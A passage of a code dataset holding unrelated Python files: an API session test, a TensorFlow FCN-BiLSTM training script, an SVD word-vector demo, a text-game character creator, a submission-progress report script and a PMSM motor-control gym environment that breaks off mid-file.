m.put('http://citrine-testing.fake/api/v1/bar/something', status_code=200, json=json_to_validate)\n response_json = session.put_resource('bar/something', {\"ignored\": \"true\"})\n assert response_json == json_to_validate\n\n\ndef test_base_url_assembly():\n default_base = urlsplit(Session()._versioned_base_url())\n\n scenarios = [\n {},\n {'scheme': 'http', 'host': None},\n {'scheme': 'https', 'host': 'citrine-testing.fake', 'port': None},\n {'scheme': 'http', 'host': 'citrine-testing.fake', 'port': ''},\n {'scheme': 'https', 'host': 'citrine-testing.biz', 'port': '8080'},\n ]\n\n for scenario in scenarios:\n base = urlsplit(Session(**scenario)._versioned_base_url())\n assert base.scheme == scenario.get('scheme', default_base.scheme)\n if scenario.get('host', default_base.hostname):\n assert base.hostname == scenario.get('host', default_base.hostname)\n else:\n assert base.hostname is None\n if scenario.get('port', default_base.port):\n assert str(base.port) == scenario.get('port', default_base.port)\n else:\n assert base.port is None\n","sub_path":"tests/test_session.py","file_name":"test_session.py","file_ext":"py","file_size_in_byte":10493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"52035877","text":"import tensorflow as tf\nimport configparser\nimport os\nimport random\nimport numpy as np\n# from model256o import model_\nfrom fcn_bilstm_model import LSTM_FCN\nfrom batch_read256 import read_csv_,TFRecordReader\nfile = './config/parameter_256_3_5.ini'\nimport os\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\n# 读取配置文件\n\ndef read_config(file):\n cf = configparser.ConfigParser()\n cf.read(file)\n time_steps = cf.getint('model','time_steps')\n learning_rate = cf.getfloat('model','learning_rate')\n training_steps = cf.getint('model','train_steps')\n batch_size = cf.getint('model','batch_size') \n display_step = cf.getint('model','display_step')\n test_steps = cf.getint('model','test_steps')\n num_input = cf.getint('model','num_input')\n num_hidden = cf.getint('model','num_hidden')\n num_classes = cf.getint('model','num_classes')\n timesteps = cf.getint('model','time_steps')\n epoch_num = cf.getint('model','epoch_num')\n Is_Vali = cf.getint('model','Is_Vali')\n train_file = cf.get('file','train_file')\n test_file = cf.get('file','test_file')\n val_file = cf.get('file','val_file')\n model_file = cf.get('file','model_file')\n test_file_path = cf.get('file','data_file_path')\n plot_train_step = cf.getint('model','plot_train_steps')\n strides = cf.getint('model','strides')\n num_channels = cf.getint('model','num_channels')\n model_file = cf.get('file','model_file')\n return num_hidden, strides,num_channels,num_input,learning_rate,train_file,epoch_num,training_steps,batch_size,display_step,num_classes,Is_Vali,val_file,plot_train_step,model_file,time_steps\n\n# 返回值\nnum_hidden,strides,num_channels,num_input,learning_rate,train_file,epoch_num,training_steps,batch_size ,display_step,num_classes,Is_Vali,val_file,plot_train_step,model_file,time_steps= read_config(file)\n\nweights = {\n'conv1':tf.Variable(tf.random_normal([8,30,128])),\n'conv2':tf.Variable(tf.random_normal([5,128,256])),\n'conv3':tf.Variable(tf.random_normal([3,256,128])),\n'out_w':tf.Variable(tf.random_normal([384,2]))\n}\nbiases = {\n'conv1':tf.Variable(tf.random_normal([128])),\n'conv2':tf.Variable(tf.random_normal([256])),\n'conv3':tf.Variable(tf.random_normal([128])),\n'out_b':tf.Variable(tf.random_normal([2]))\n}\n\n# 定义输入data、label\nBilstm_X = tf.placeholder(tf.float32,[None,time_steps,num_input],name='X')\nFCN_X = tf.placeholder(tf.float32,[None,1,num_input])\nY = tf.placeholder(tf.float32,[None,num_classes],name='Y')\n\n# 定义loss和优化函数\nmodel_ = LSTM_FCN(Bilstm_X,FCN_X,num_hidden,weights,biases)\nfcn_out = model_.FCN_()\nbilstm_out = model_.Bi_LSTM_()\n\nout = model_.Connect(fcn_out,bilstm_out)\n\nprediction = tf.nn.softmax(out)\n\n# 计算损失\nloss_op = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=out,labels=Y)) \n# 定义优化函数\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)\ntrain_process = optimizer.minimize(loss_op)\n# 定义准确率\nacc = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(prediction,1),tf.argmax(Y,1)),tf.float32))\n\n# 保存模型\nmeraged = tf.summary.merge_all()\ntf.add_to_collection('loss',loss_op)\ntf.add_to_collection('accuracy',acc)\ntf.add_to_collection('prediction',prediction)\nsess = tf.Session()\n# 初始化变量\ninit = tf.global_variables_initializer()\n# tf.get_default_graph().finalize() \ndata,label,_ = TFRecordReader(train_file,0)\nlabel = tf.cast(label,tf.int32)\nlabel = tf.one_hot(label,2)\ndata_fcn = tf.reshape(data,[50000,time_steps,1,num_input])\ndata_lstm = tf.reshape(data,[50000,time_steps,num_input])\nval_data , val_label,_ = TFRecordReader(val_file,0)\nval_data = val_data[:20]\nval_label = val_label[:20]\nval_data = tf.reshape(val_data,[20,time_steps,1,num_input])\nval_label = tf.cast(val_label,tf.int32)\nval_label = tf.one_hot(val_label,2)\nval_label = tf.reshape(val_label,[20*time_steps,2])\nval_data_fcn = tf.reshape(val_data,[20*time_steps,1,num_input])\nval_data_lstm = tf.reshape(val_data,[20,time_steps,num_input])\n\nwith tf.Session() as sess:\n count = 0\n temp_acc = 0\n sess.run(init)\n # 读取数据,调整shape,保证输入无误\n data = sess.run(data)\n label = sess.run(label)\n val_data = sess.run(val_data)\n val_label = sess.run(val_label)\n\n for epoch in range(epoch_num):\n print(\"Epoch\"+str(epoch))\n for step in range(1,training_steps+1):\n # 每次随机选一个csv训练\n random_index = random.randint(0,49999)\n batch_data = data[random_index]\n batch_label = label[random_index]\n batch_data_lstm = np.reshape(batch_data,[batch_size,time_steps,num_input])\n batch_data_fcn = np.reshape(batch_data,[])\n batch_label = np.reshape(batch_label,[batch_size*time_steps,2])\n # 训练\n sess.run(train_process,feed_dict={X:batch_data,Y:batch_label})\n # 计算损失和准确率\n loss,accu = sess.run([loss_op,acc],feed_dict={X:batch_data,Y:batch_label})\n # 输出\n if step%display_step==0:\n print(\"Step \" + str(step) + \", Minibatch Loss= \" + \\\n \"{:.4f}\".format(loss) + \", Training Accuracy= \" + \\\n \"{:.3f}\".format(accu))\n\n #每结束一轮epoch,便开始使用验证集验证 \n Val_loss,Val_acc = sess.run([loss_op,acc],feed_dict={X:val_data,Y:val_label})\n \n if epoch==0:\n temp_loss = Val_loss\n else:\n if (Val_loss-temp_loss) < 0:\n # 说明损失仍然在下降\n print(\"loss改善:\"+str(temp_loss)+\"--->\"+str(Val_loss)+\"||\"+\"学习率:\"+str(learning_rate))\n temp_loss = Val_loss\n else:\n # 说明经过一个epoch之后模型并没有改善\n count+=1\n print(\"loss未改善:\"+str(count)+\"次\"+\"--->\"+str(Val_loss))\n \n if Val_acc>temp_acc:\n # temp_loss = Val_loss\n tf.train.Saver().save(sess,model_file+'model')\n else:\n pass\n print(\"validation acc\"+\"{:.4f}\".format(Val_acc)+\"validation loss\"+\"{:.4f}\".format(Val_loss)) \n ","sub_path":"FCN_LSTM/model/FCN_BILSTM/train_fcn_bilstm.py","file_name":"train_fcn_bilstm.py","file_ext":"py","file_size_in_byte":6165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"401637890","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 03 15:53:43 2017\n 通过SVD对共现矩阵X进行奇异值分解来实现语料词向量的相关度分析\n 语料:我喜欢可爱的。我喜欢小姐姐。我年轻啊。\n@author: sunxu\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pylab import *\n\nla = np.linalg\nwords = [\"I\",\"like\",\"enjoy\",\"deep\",\"learning\",\"NLP\",\"flying\",\".\"]\n\n#矩阵记录上下文出现的次数\nX = np.array([\n[0,2,1,0,0,0,0,0],\n[2,0,0,1,0,1,0,0],\n[1,0,0,0,0,0,1,0],\n[0,1,0,0,1,0,0,0],\n[0,0,0,1,0,0,0,1],\n[0,1,0,0,0,0,0,1],\n[0,0,1,0,0,0,0,1],\n[0,0,0,0,1,1,1,0]])\n\nmpl.rcParams['font.sans-serif'] = ['SimHei']\nmpl.rcParams['axes.unicode_minus'] = False\n\nU, s, Vh = la.svd(X, full_matrices=False)\n\nfor i in range(len(words)):\n plt.text(U[i,0],U[i,1],words[i])\n\nplt.title(\"通过SVD分解算法生成词向量并计算相关度\")\nplt.xlim(-1, 1)\nplt.ylim(-1, 1)\nplt.show()\n\n# ticks = time.time()\n# print (time.strftime(\"%a %b %d %H:%M:%S %Y\", time.localtime()) )","sub_path":"OLD/SVD.py","file_name":"SVD.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"598495601","text":"from Player import Player\n\ndef character_creation():\n print(\"???: ...\")\n print(\"???: Are you awake?\")\n print(\"???: You have been out for a long time.\")\n name = input(\"???: What is your name?\\n\")\n player1 = Player(name=name)\n print(\"???: Hello \" + player1.get_name())\n print(\"You have 20 available stat points. You can distribute them between strength, defense, intelligence.\")\n\n available_stats = 20\n done = False\n while not done:\n strength = int(input(\"How strong are you? (%s/20 stat points left)\" % available_stats))\n while 0 > strength or strength > available_stats:\n print(\"Not enough stat points\")\n strength = int(input(\"How strong are you? (%s/20 stat points left)\" % available_stats))\n available_stats -= strength\n\n defense = int(input(\"How tough are you? (%s/20 stat points left)\" % available_stats))\n while 0 > defense or defense > available_stats:\n print(\"Not enough stat points\")\n defense = int(input(\"How tough are you? (%s/20 stat points left)\" % available_stats))\n available_stats -= defense\n\n intelligence = int(input(\"Are you good with magic? (%s/20 stat points left)\" % available_stats))\n while 0 > intelligence or intelligence > available_stats:\n print(\"Not enough stat points\")\n intelligence = int(input(\"Are you good with magic? (%s/20 stat points left)\" % available_stats))\n available_stats -= intelligence\n\n constitution = int(input(\"Is your mind strong?? (%s/20 stat points left)\" % available_stats))\n while 0 > constitution or constitution > available_stats:\n print(\"Not enough stat points\")\n constitution = int(input(\"Is your mind strong? (%s/20 stat points left)\" % available_stats))\n available_stats -= constitution\n\n speed = int(input(\"How fast are you? (%s/20 stat points left)\" % available_stats))\n while 0 > speed or speed > available_stats:\n print(\"Not enough stat points\")\n speed = int(input(\"How fast are you? (%s/20 stat points left)\" % available_stats))\n available_stats -= speed\n\n player1.set_stats(max_health=20, current_health=20,\n max_mana=10, current_mana=10,\n strength=strength, defense=defense,\n intelligence=intelligence, constitution=constitution,\n speed=speed)\n print(\"Are the following stats correct?\")\n print(player1.get_stats())\n response = input()\n if response.lower() == 'y' or response.lower() == 'yes':\n done = True\n else:\n player1.set_stats()\n available_stats = 20\n\n print(\"Character Created. Stats printed below\")\n print(player1.get_stats())\n print(\"Okay. Great. I see you are a strong person.\")\n","sub_path":"Levels/Character_Creation.py","file_name":"Character_Creation.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"56558350","text":"\"\"\"\nA list of Submissions that\n\n- are \"current\" (i.e., \"My Submission\")\n\n- are >= 80% finished\n\nPercent finished is calculated as\n\n (# not started credits + # in progress credits) / num-credits\n\nWhen that's >= .2, >= 80% is done.\n\n\"\"\"\nimport csv\n\nfrom stars.apps.credits.models import CreditSet\nfrom stars.apps.institutions.models import Institution\nfrom stars.apps.submissions.models import (NOT_STARTED,\n IN_PROGRESS)\n\ncredit_totals = {}\n\n\nfor creditset in CreditSet.objects.all():\n\n num_credits = 0\n\n for category in creditset.category_set.all():\n for subcategory in category.subcategory_set.all():\n for credit in subcategory.credit_set.all():\n num_credits += 1\n\n credit_totals[creditset] = num_credits\n\n\nwith open(\"/tmp/mostly_done.csv\", \"wb\") as csvfile:\n\n csv_writer = csv.writer(csvfile)\n\n for institution in Institution.objects.all():\n\n if institution.current_submission is None:\n continue\n\n num_not_started = num_in_progress = 0\n\n last_category_updated = None\n\n for category_submission in (\n institution.current_submission.categorysubmission_set.all()):\n\n for subcategory_submission in (\n category_submission.subcategorysubmission_set.all()):\n\n num_not_started += (\n subcategory_submission.creditusersubmission_set.filter(\n submission_status=NOT_STARTED).count())\n\n num_in_progress += (\n subcategory_submission.creditusersubmission_set.filter(\n submission_status=IN_PROGRESS).count())\n\n last_subcategory_updated = (\n subcategory_submission.creditusersubmission_set.order_by(\n \"-last_updated\"\n ))[0].last_updated\n\n # Excuse me while I suck.\n if ((last_category_updated is not None and\n last_category_updated < last_subcategory_updated) or\n last_category_updated is None):\n\n last_category_updated = last_subcategory_updated\n\n num_credits = credit_totals[institution.current_submission.creditset]\n\n percent_incomplete = (\n (float(num_not_started + num_in_progress) / num_credits) * 100)\n\n percent_complete = 100.0 - percent_incomplete\n\n csv_writer.writerow([institution.name.encode(\"utf-8\"),\n percent_complete,\n percent_incomplete,\n last_category_updated,\n num_credits,\n num_not_started])\n","sub_path":"stars/quick_tools/mostly_done_report.py","file_name":"mostly_done_report.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"216978300","text":"import gym\nimport numpy as np\nfrom .models.converter_models import Disc2Level3PhaseConverter, Cont2Level3PhaseConverter\nfrom .models.load_models import Load\nfrom .models.pmsm_model import PmsmModel\nfrom .models import pmsm_model\nfrom ..utils import EulerSolver\nfrom scipy.integrate import ode\nfrom ..dashboard import MotorDashboard\n\nOMEGA_IDX = 0\nTORQUE_IDX = 1\nI_A_IDX = 2\nI_B_IDX = 3\nI_C_IDX = 4\nU_A_IDX = 5\nU_B_IDX = 6\nU_C_IDX = 7\nEPSILON_IDX = 8\nU_SUP_IDX = 9\nCURRENTS = [I_A_IDX, I_B_IDX, I_C_IDX]\nVOLTAGES = [U_A_IDX, U_B_IDX, U_C_IDX]\n\n\nclass PmsmEnv(gym.Env):\n \"\"\"\n Gym Environment for a Permanent Magnet Synchronous Motor (PMSM).\n\n **Description**:\n This class contains the environment of a PMSM.\n\n **Source:**\n\n **State Variables**:\n +-----+-------+-------------------------------------------------------------+\n |Index| State | Description |\n +=====+=======+=============================================================+\n | 0 | omega | mechanical angular velocity of the motor in rad/s |\n +-----+-------+-------------------------------------------------------------+\n | 1 | torque| generated torque by the motor in Nm |\n +-----+-------+-------------------------------------------------------------+\n | 2 | i_a | current flowing into branch a in A |\n +-----+-------+-------------------------------------------------------------+\n | 3 | i_b | current flowing into branch b in A |\n +-----+-------+-------------------------------------------------------------+\n | 4 | i_c | current flowing into branch c in A |\n +-----+-------+-------------------------------------------------------------+\n | 5 | u_a | voltage applied between branch a and ground in V |\n +-----+-------+-------------------------------------------------------------+\n | 6 | u_b | voltage applied between branch b and ground in V |\n +-----+-------+-------------------------------------------------------------+\n | 7 | u_c | voltage applied between branch c and ground in V |\n +-----+-------+-------------------------------------------------------------+\n | 8 |epsilon| mechanical angle of the rotor in rad |\n +-----+-------+-------------------------------------------------------------+\n | 9 | u_sup | supply voltage |\n +-----+-------+-------------------------------------------------------------+\n\n **Observation**:\n\n Type: Box(10 + Number of reference variables * (prediction horizon + 1))\n\n The observation consists of the current normalized values for the state variables in the limit range [0, 1] or\n [-1, 1] concatenated with the current and future references of the reference variables that are no zero\n references.\n\n\n *Example*:\n Reference Variables: omega and i_a with prediction horizon 1\n ::\n [omega, torque, i_a, i_b, i_c, u_a, u_b, u_c, epsilon, u_sup,\n omega_ref[k], omega_ref[k+1], i_a_ref[k], i_a_ref[k+1]]\n\n **Actions**:\n\n The actions are the direct switching states of the transistors for the converter for the discrete case.\n\n Type: Discrete(8)\n\n +---+---------+-----------+--------------+\n |Num|Switch A | Switch B | Switch C |\n +===+=========+===========+==============+\n |0 |lower | lower | lower |\n +---+---------+-----------+--------------+\n |1 |lower | lower | upper |\n +---+---------+-----------+--------------+\n |2 |lower | upper | lower |\n +---+---------+-----------+--------------+\n |3 |lower | upper | upper |\n +---+---------+-----------+--------------+\n |4 |upper | lower | lower |\n +---+---------+-----------+--------------+\n |5 |upper | lower | upper |\n +---+---------+-----------+--------------+\n |6 |upper | upper | lower |\n +---+---------+-----------+--------------+\n |7 |upper | upper | upper |\n +---+---------+-----------+--------------+\n\n A lower position means 0V and upper position means +u_dc.\n\n In the continuous environment the actions are the modulated switching states.\n Type: Box(3)\n\n +----+-------------------------------+\n | Num|Description |\n +====+===============================+\n | 0 |Duty Cycle for Switch A [-1, 1]|\n +----+-------------------------------+\n | 1 |Duty Cycle for Switch B [-1, 1]|\n +----+-------------------------------+\n | 2 |Duty Cycle for Switch C [-1, 1]|\n +----+-------------------------------+\n\n **Reward:**\n The reward is selectable between several reward functions. See below for further information.\n\n **Starting State:**\n The angular velocity is initialized randomly between [-1, 1]\n The Amplitude of the current vector is initialized randomly between [-1, 1]\n The Phase of the current vector is initialized randomly between [0, 2 * pi]\n By this the currents i_a, i_b, i_c are calculated.\n All other states are initialized with zero.\n\n **Episode Termination:**\n An episode terminates when episode_length steps have been taken.\n Furthermore, an episode might end, if limits of the motor are violated.\n This behaviour can be selected with the limit_observer.\n\n \"\"\"\n\n # region properties\n\n @property\n def prediction_horizon(self):\n return self._prediction_horizon\n\n @property\n def reference_vars(self):\n return self._reference_vars\n\n # endregion\n\n def __init__(self, converter_type, zero_refs=(), tau=1e-4, episode_length=100000, load_parameter=None,\n motor_parameter=None, reward_weight=(('omega', 1.0),), on_dashboard=('True',), integrator='euler',\n nsteps=1, prediction_horizon=0, interlocking_time=0.0, noise_levels=0.0, reward_fct='swsae',\n limit_observer='off', dead_time=True, safety_margin=1.3, gamma=0.9):\n \"\"\"\n Basic setting of all the common motor parameters.\n\n Args:\n converter_type: Selection of discrete or continuous converter. Either 'Disc' or 'Cont'\n zero_refs(list(str)): Selection of reference variables that should get zero references\n to keep their value low.\n tau: sampling time\n episode_length: The episode length of the environment\n load_parameter: A dict of Load parameters that differ from the default ones. \\\n For details look into the load model.\n motor_parameter: A dict of motor parameters that differ from the default ones. \\\n For details look into the dc_motor model.\n reward_weight: Iterable of key/value pairs that specifies how the rewards in the environment\n are weighted.\n E.g. ::\n (('omega', 0.9),('u_a', 0.1))\n on_dashboard(list(str) with entries that are names of state variables):\n Set the dashboard variables that shall be displayed.\n If on_dashboard is ['True'] then all variables will be displayed\n If on_dashboard is ['False'] then no variables will be displayed\n integrator: Select integration method between 'dopri5' and 'euler'\n nsteps: Maximum number of steps the integrator takes\n prediction_horizon: number of future reference values included in the observation\n interlocking_time: interlocking time of the converter\n noise_levels: Setting of noise levels in percentage of signal power for each variable. \\n\n If the noise level is integer, then the noise level is equal for each state var. \\n\n If noise level is of type iterable(('state var', float))\n then each state var has different noise. \\n\n Variables that are not in the iterable are assigned 0 noise\n reward_fct: Select the reward function between: (Each one normalised to [0,1] or [-1,0]) \\n\n 'swae': Absolute Error between references and state variables [-1,0] \\n\n 'swse': Squared Error between references and state variables [-1,0]\\n\n 'swsae': Shifted absolute error / 1 + swae [0,1] \\n\n 'swsse': Shifted squared error / 1 + swse [0,1] \\n\n\n limit_observer: Select the limit observing function. \\n\n 'off': No limits are observed. Episode goes on. \\n\n 'no_punish': Limits are observed, no punishment term for violation.\n This function should be used with shifted reward functions. \\n\n 'const_punish': Limits are observed. Punishment in the form of -1 / (1-gamma) to\n punish the agent with the maximum negative reward for the further steps.\n This function should be used with non shifted reward functions.\n dead_time: specifies if dead time of one sampling interval will be considered\n gamma: Parameter for the const_punish limit observer. If this one is not chosen gamma is unused.\n Specifies the punishment height for limit violations. Should roughly equal the agents discount factor\n gamma.\n \"\"\"\n\n # Set State variables and the inverse state var dictionary\n self._gamma = gamma\n self._safety_margin = safety_margin\n self.state_vars = np.array(['omega', 'torque', 'i_a', 'i_b', 'i_c', 'u_a', 'u_b', 'u_c', 'epsilon', 'u_sup'])\n self._state_var_pos = {}\n for val, key in enumerate(self.state_vars):\n self._state_var_pos[key] = val\n\n self._tau = tau\n self._episode_length = episode_length\n self._prediction_horizon = max(0, prediction_horizon)\n\n self._zero_refs = tuple(zero_refs) + ('u_a', 'u_b', 'u_c')\n # Flag array to select zero references faster\n self._zero_ref_flags = np.isin(self.state_vars, self._zero_refs)\n\n #: Set the converter, load and Motor\n if converter_type == 'Disc':\n self.converter = Disc2Level3PhaseConverter(interlocking_time, tau, dead_time)\n elif converter_type == 'Cont':\n self.converter = Cont2Level3PhaseConverter(interlocking_time, tau, dead_time)\n else:\n raise AssertionError(f'converter_type was {converter_type} and must be in [\"Disc\", \"Cont\"]')\n self.action_space = self.converter.action_space\n self.load = Load(load_parameter)\n self.motor = PmsmModel(motor_parameter, self.load.load, self.load.j_load)\n self._k = 0\n\n # Initialize the state arrays\n self._state = np.zeros_like(self.state_vars, dtype=float)\n self._dashboard = None\n self._references = np.zeros((len(self.state_vars), episode_length + self._prediction_horizon))\n self._noise = np.zeros_like(self._references)\n self._reward_weights = np.zeros(len(self.state_vars))\n for key, value in reward_weight:\n self._reward_weights[self._state_var_pos[key]] = value\n\n # Setting of noise levels in percentage of signal power for each variable\n if type(noise_levels) is float or type(noise_levels) is int:\n self._noise_levels = np.ones(len(self.state_vars)) * noise_levels\n else:\n self._noise_levels = np.zeros_like(self.state_vars)\n for key, value in noise_levels:\n self._noise_levels[self._state_var_pos[key]] = value\n\n # Set the dashboard variables into the array _on_dashboard\n self._on_dashboard = np.ones(len(self.state_vars), dtype=bool)\n if on_dashboard[0] == 'True':\n self._on_dashboard *= True\n elif on_dashboard[0] == 'False':\n self._on_dashboard *= False\n else:\n self._on_dashboard *= False\n for key in on_dashboard:\n self._on_dashboard[self._state_var_pos[key]] = True\n mp = self.motor.motor_parameter\n self._limits = np.array([\n mp['omega_N'],\n mp['torque_N'],\n mp['i_N'], mp['i_N'], mp['i_N'],\n # positive and negative voltages are possible due to a shifted supply voltage\n mp['u_N'] / 2, mp['u_N'] / 2, mp['u_N'] / 2,\n 2 * np.pi,\n mp['u_N']\n ]) * self._safety_margin\n\n # Select integration method\n if integrator == 'euler':\n self.system = EulerSolver(self._system_eq, nsteps)\n else:\n self.system = ode(self._system_eq).set_integrator(integrator, nsteps=nsteps)\n\n self._limit_observer = self._limit_observers(limit_observer)\n self._reward_fct = self._reward_functions(reward_fct)\n self._resetDashboard = True\n self._reference_vars = (self._reward_weights > 0) & ~self._zero_ref_flags\n\n # observation space\n u_min, u_max = self.converter.voltages\n i_min, i_max = self.converter.currents\n obs_high = np.ones(len(self.state_vars))\n obs_low = np.array([-1, # omega\n -1, # torque\n i_min, # i_a\n i_min, # i_b\n i_min, # i_c\n u_min, # u_a\n u_min, # u_b\n u_min, # u_c\n 0, # epsilon\n 0]) # u_sup\n\n # Set the observation space for the references. Its ranges are equal to the range of the matching state var.\n for ref in range(len(self.state_vars)):\n if self._reward_weights[ref] <= 0 or self.state_vars[ref] in self._zero_refs:\n continue\n mul_min, mul_max = {\n 'omega': (-1, 1),\n 'torque': (u_min, u_max),\n 'i_a': (i_min, i_max),\n 'i_b': (i_min, i_max),\n 'i_c': (i_min, i_max),\n 'u_a': (u_min, u_max),\n 'u_b': (u_min, u_max),\n 'u_c': (u_min, u_max),\n 'epsilon': (0, 1)\n }[self.state_vars[ref]]\n obs_low = np.concatenate((obs_low, np.array(mul_min * np.ones(int(self._prediction_horizon + 1)))))\n obs_high = np.concatenate((obs_high, mul_max * np.ones(int(self._prediction_horizon + 1))))\n\n self.observation_space = gym.spaces.Box(obs_low, obs_high)\n\n # region environment functions\n\n def reset(self):\n \"\"\"\n Resets the environment for another episode.\n\n The step counter is reset to 0. \\\n The starting state is initialized as described in the class documentation. \\\n New References are generated either deterministic (sinusoidal, triangular, sawtooth or step) or randomly. \\\n The dashboard is reset. \\\n\n Returns:\n The observation of the initial state.\n \"\"\"\n self._k = 0\n self._state = np.zeros_like(self._state)\n self._state[OMEGA_IDX] = np.random.triangular(-1, 0, 1)\n phase = 2 * np.pi * np.random.rand()\n amplitude = np.random.triangular(-1, 0, 1)\n\n self._state[I_A_IDX] = amplitude * np.cos(phase)\n self._state[I_B_IDX] = amplitude * np.cos(phase + np.pi / 3)\n self._state[I_C_IDX] = amplitude * np.cos(phase - np.pi / 3)\n\n self._generate_references()\n initial_motor = np.concatenate((\n [self._state[OMEGA_IDX]],\n self.motor.q_inv_me(self.motor.t_23(self._state[CURRENTS]), self._state[EPSILON_IDX]),\n [self._state[EPSILON_IDX]]\n )) * self._limits[[OMEGA_IDX, I_A_IDX, I_A_IDX, EPSILON_IDX]]\n self.system.set_initial_value(initial_motor, 0.0)\n self._resetDashboard = True\n self._noise = (\n np.sqrt(self._noise_levels/6) / self._safety_margin\n * np.random.randn(self._episode_length+1, len(self.state_vars))\n ).T\n observation_references = self._references[self._reference_vars, self._k:self._k + self._prediction_horizon + 1]\n observation = np.concatenate((self._state, observation_references.flatten()))\n return observation\n\n def step(self, action):\n \"\"\"\n Clips the action to its limits and performs one step on the motor.\n\n This method performs one step by first calculating the input voltages at the terminals of the motor by the\n action on the converter.\n\n Args:\n action: The action from the Action space that will be performed on the motor\n\n Returns:\n Tuple(array(float), float, bool, dict):\n **observation:** The observation from the environment \\n\n **reward:** The reward for the taken action \\n\n **bool:** Flag if the episode has ended \\n\n **info:** An always empty dictionary \\n\n \"\"\"\n state, u_in = self._step_integrate(action)\n i_dq = state[[self.motor.I_D_IDX, self.motor.I_Q_IDX]]\n i_abc = self.motor.t_32(self.motor.q_me(i_dq, state[self.motor.EPSILON_IDX]))\n self._state[OMEGA_IDX] = state[self.motor.OMEGA_IDX]\n self._state[TORQUE_IDX] = self.motor.torque(state)\n self._state[CURRENTS] = i_abc\n self._state[VOLTAGES] = u_in\n self._state[EPSILON_IDX] = (state[self.motor.EPSILON_IDX] % (2 * np.pi))\n self._state /= self._limits\n rew = self._reward_fct(self._state, self._references[:, self._k].T)\n done, punish = self._limit_observer(self._state)\n if done:\n rew = punish\n observation_references = self._references[self._reference_vars, self._k:self._k + self._prediction_horizon + 1]\n self._state += self._noise[:, self._k] # Add measurement noise\n observation = np.concatenate((self._state, observation_references.flatten()))\n self._k += 1\n if not done:\n done = self._k == self._episode_length\n return observation, rew, done, {}\n\n def close(self):\n \"\"\"\n Cleanup for the environment.\n\n When the environment is closed the dashboard will also be closed.\n This function does not need to be called explicitly.\n \"\"\"\n if self._dashboard is not None:\n self._dashboard.close()\n\n def render(self, mode='human'):\n \"\"\"\n Update the visualization step by step.\n\n Call this function once a cycle to update the visualization with the current values.\n \"\"\"\n if not self._on_dashboard.any():\n return\n if self._dashboard is None:\n self._dashboard = MotorDashboard(\n self.state_vars[self._on_dashboard], self._tau,\n self.observation_space.low[:len(self.state_vars)][self._on_dashboard]\n * self._limits[self._on_dashboard],\n self.observation_space.high[:len(self.state_vars)][self._on_dashboard]\n * self._limits[self._on_dashboard],\n self._episode_length,\n self._safety_margin,\n self._reward_weights[self._on_dashboard] > 0\n )\n if self._resetDashboard:\n self._resetDashboard = False\n dash_limits = self._limits[self._on_dashboard]\n self._dashboard.reset(self._references[self._on_dashboard] * dash_limits.reshape((len(dash_limits), 1)))\n self._dashboard.step(self._state[self._on_dashboard] * self._limits[self._on_dashboard], self._k)\n\n # endregion\n\n def _step_integrate(self, action):\n \"\"\"\n Implemented by the child classes.\n \"\"\"\n raise NotImplementedError\n\n def _system_eq(self, t, state, u_in):\n \"\"\"\n The differential equation of the system.\n\n This function is called by the ODE-Solver. \\\n It is in the following Form: \\\n d_state/dt = f(state)\n\n Args:\n t: The parameter for the current time. Required for the solvers. Not needed here.\n state: The motor state in the form: \\n\n `[omega, i_q, i_d, epsilon]`\n u_in: Input voltages `[u_q, u_d]`\n\n Returns:\n The solution of the PMSM differential equation\n \"\"\"\n t_load = self.load.load(state[self.motor.OMEGA_IDX])\n return self.motor.model(state, t_load, u_in)\n\n # region Limit Observers\n\n def _limit_observers(self, key):\n return {\n 'off': self._no_observation,\n 'no_punish': self._no_punish,\n 'const_punish': self._const_punish,\n }[key]\n\n def _no_observation(self, _):\n \"\"\"\n No limit violations are observed. No punishment and the episode continues even after limit violations.\n\n Args:\n state: Current state of the motor\n\n Returns:\n Tuple of a flag if the episode should be terminated (here always false)\n and the punishment for the reward (here always 0)\n \"\"\"\n return False, 0.0\n\n def _const_punish(self, state):\n \"\"\"\n Punishment, if constraints are violated and termination of the episode.\n\n The punishment equals -1 / (1 - self.gamma), which is equivalent to the by gamma discounted reward a learner\n would receive, if it receives always the minimum reward after the limit violation.\n\n This punishment is recommended, when taking a negative reward function.\n\n Args:\n state: Current state of the environment\n\n Returns:\n Tuple of a flag if the episode should be terminated and the punishment for the reward\n\n \"\"\"\n if (state < self._limits).all() and (state > -self._limits).all():\n return False, 0.0\n else:\n return True, -1 * 1 / (1 - self._gamma)\n\n def _no_punish(self, state):\n \"\"\"\n No reward punishment, only break the episode when limits are violated. Recommended for positive rewards.\n\n Args:\n state: Current state of the environment\n\n Returns:\n Tuple of a flag if the episode should be terminated and the punishment for the reward\n \"\"\"\n if (state < self._limits).all() and (state > -self._limits).all():\n return False, 0.0\n else:\n return True, 0.0\n # endregion\n\n # region Reward Functions\n\n def _reward_functions(self, key):\n return {\n 'swae': self._absolute_error,\n 'swse': self._squared_error,\n 'swsae': self._shifted_absolute_error,\n 'swsse': self._shifted_squared_error\n }[key]\n\n def _absolute_error(self, state, reference, *_):\n return -(self._reward_weights * np.abs(state - reference)).sum()\n\n def _squared_error(self, state, reference, *_):\n return -(self._reward_weights * (state - reference)**2).sum()\n\n def _shifted_squared_error(self, state, reference, *_):\n return 1 + self._squared_error(state, reference)\n\n def _shifted_absolute_error(self, state, reference, *_):\n return 1 + self._absolute_error(state, reference)\n\n # endregion\n\n # region Reference Generation\n\n def _reference_sin(self, bandwidth=20):\n \"\"\"\n Set sinus references for the state variables with a random amplitude, offset and phase shift\n\n Args:\n 